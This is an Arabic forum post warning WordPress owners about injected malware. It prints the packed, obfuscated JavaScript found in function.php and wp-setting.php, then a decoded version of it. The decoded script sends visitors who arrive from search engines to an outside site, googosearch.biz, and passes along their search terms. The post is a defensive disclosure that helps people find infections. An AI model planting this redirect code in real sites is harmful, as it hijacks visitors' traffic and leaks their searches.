السلام عليكم و رحمة الله و بركاته
الاخوة الاعزاء .
اتمني من جميع من يملك ورد بريس علي سيرفره او يستخدمها ان يقوم بعمل بحث في ملفاتها عن الكود التالي
كود:
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('e r=x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g";4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r.3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6).o("&")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))
حيث انتشر مؤخراً فيروس جديد عبارة عن زرع كود في الورد بريس يقوم بعمل تحويل الي موقع اخر .
و فك تشفير الكود هو
كود:
var r = document.referrer, t = "", q;
if (r.indexOf("google.") != -1) {
t = "q";
}
if (r.indexOf("msn.") != -1) {
t = "q";
}
if (r.indexOf("yahoo.") != -1) {
t = "p";
}
if (r.indexOf("altavista.") != -1) {
t = "q";
}
if (r.indexOf("aol.") != -1) {
t = "query";
}
if (r.indexOf("ask.") != -1) {
t = "q";
}
if (t.length &&
((q = r.indexOf("?" + t + "=")) != -1 ||
(q = r.indexOf("&" + t + "=")) != -1)) {
window.location = "ht" + "tp" + ":/" + "/go" + "ogo" + "sea" + "rc" + "h." + "bi" + "z/s" + "ea" + "rc" + "h.p" + "hp?" + "t" + "y=1&t" + "er" + "ms=" + r.substring(q + 2 + t.length).split("&")[0];
}
طبعاً الموقع الذي تم التحويل الية هو
http://googosearch.biz/search.php
الملفات المصابة هي :
function.php
wp-setting.php
طبعاً حسب ما فهمت من الكود انه التحويل يتم اذا كان الزائر اتي من احدي محركات البحث مثل قوقل او ام اس ان او ياهو و غيرها .
اتمني من الجميع الحذر
و اذا وجد احدكم موقعه مصاب . اتمني اذا استفاد من موضوعي اتمني منه دعوة في ظهر الغيب .
خالص الود